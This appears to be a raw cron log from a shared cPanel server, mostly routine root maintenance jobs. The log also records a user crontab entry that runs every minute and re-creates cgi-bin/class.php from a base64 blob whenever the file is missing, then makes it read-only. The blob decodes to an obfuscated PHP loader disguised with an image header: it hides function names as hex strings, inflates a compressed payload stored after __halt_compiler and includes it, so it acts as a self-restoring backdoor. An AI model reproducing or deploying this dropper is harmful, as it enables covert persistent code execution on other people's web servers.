Aug 30 19:17:01 server CROND[16559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:17:01 server CROND[16560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:17:01 server CROND[16561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:18:01 server CROND[16944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:18:01 server CROND[16945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:18:01 server CROND[16946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:19:01 server CROND[17427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:19:01 server CROND[17428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:19:01 server CROND[17429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:20:01 server CROND[17826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:20:01 server CROND[17827]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 19:20:01 server CROND[17828]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 19:20:01 server CROND[17831]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:20:01 server CROND[17834]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 19:20:01 server CROND[17833]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:20:01 server CROND[17829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:20:01 server CROND[17830]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 19:20:01 server CROND[17832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:21:01 server CROND[18666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:21:01 server CROND[18667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:21:01 server CROND[18668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:22:01 server CROND[19046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:22:01 server CROND[19047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:22:01 server CROND[19048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:23:01 server CROND[19439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:23:01 server CROND[19438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:23:01 server CROND[19440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:24:01 server CROND[19815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:24:01 server CROND[19816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:24:01 server CROND[19817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:25:01 server CROND[20288]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 19:25:01 server CROND[20291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:25:01 server CROND[20294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:25:01 server CROND[20296]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 19:25:01 server CROND[20298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:25:01 server CROND[20293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:25:01 server CROND[20295]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:26:01 server CROND[21176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:26:01 server CROND[21177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:26:01 server CROND[21179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:27:01 server CROND[21561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:27:01 server CROND[21562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:27:01 server CROND[21563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:27:01 server CROND[21564]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 19:28:01 server CROND[21955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:28:01 server CROND[21956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:28:01 server CROND[21957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:29:01 server CROND[22726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:29:01 server CROND[22727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
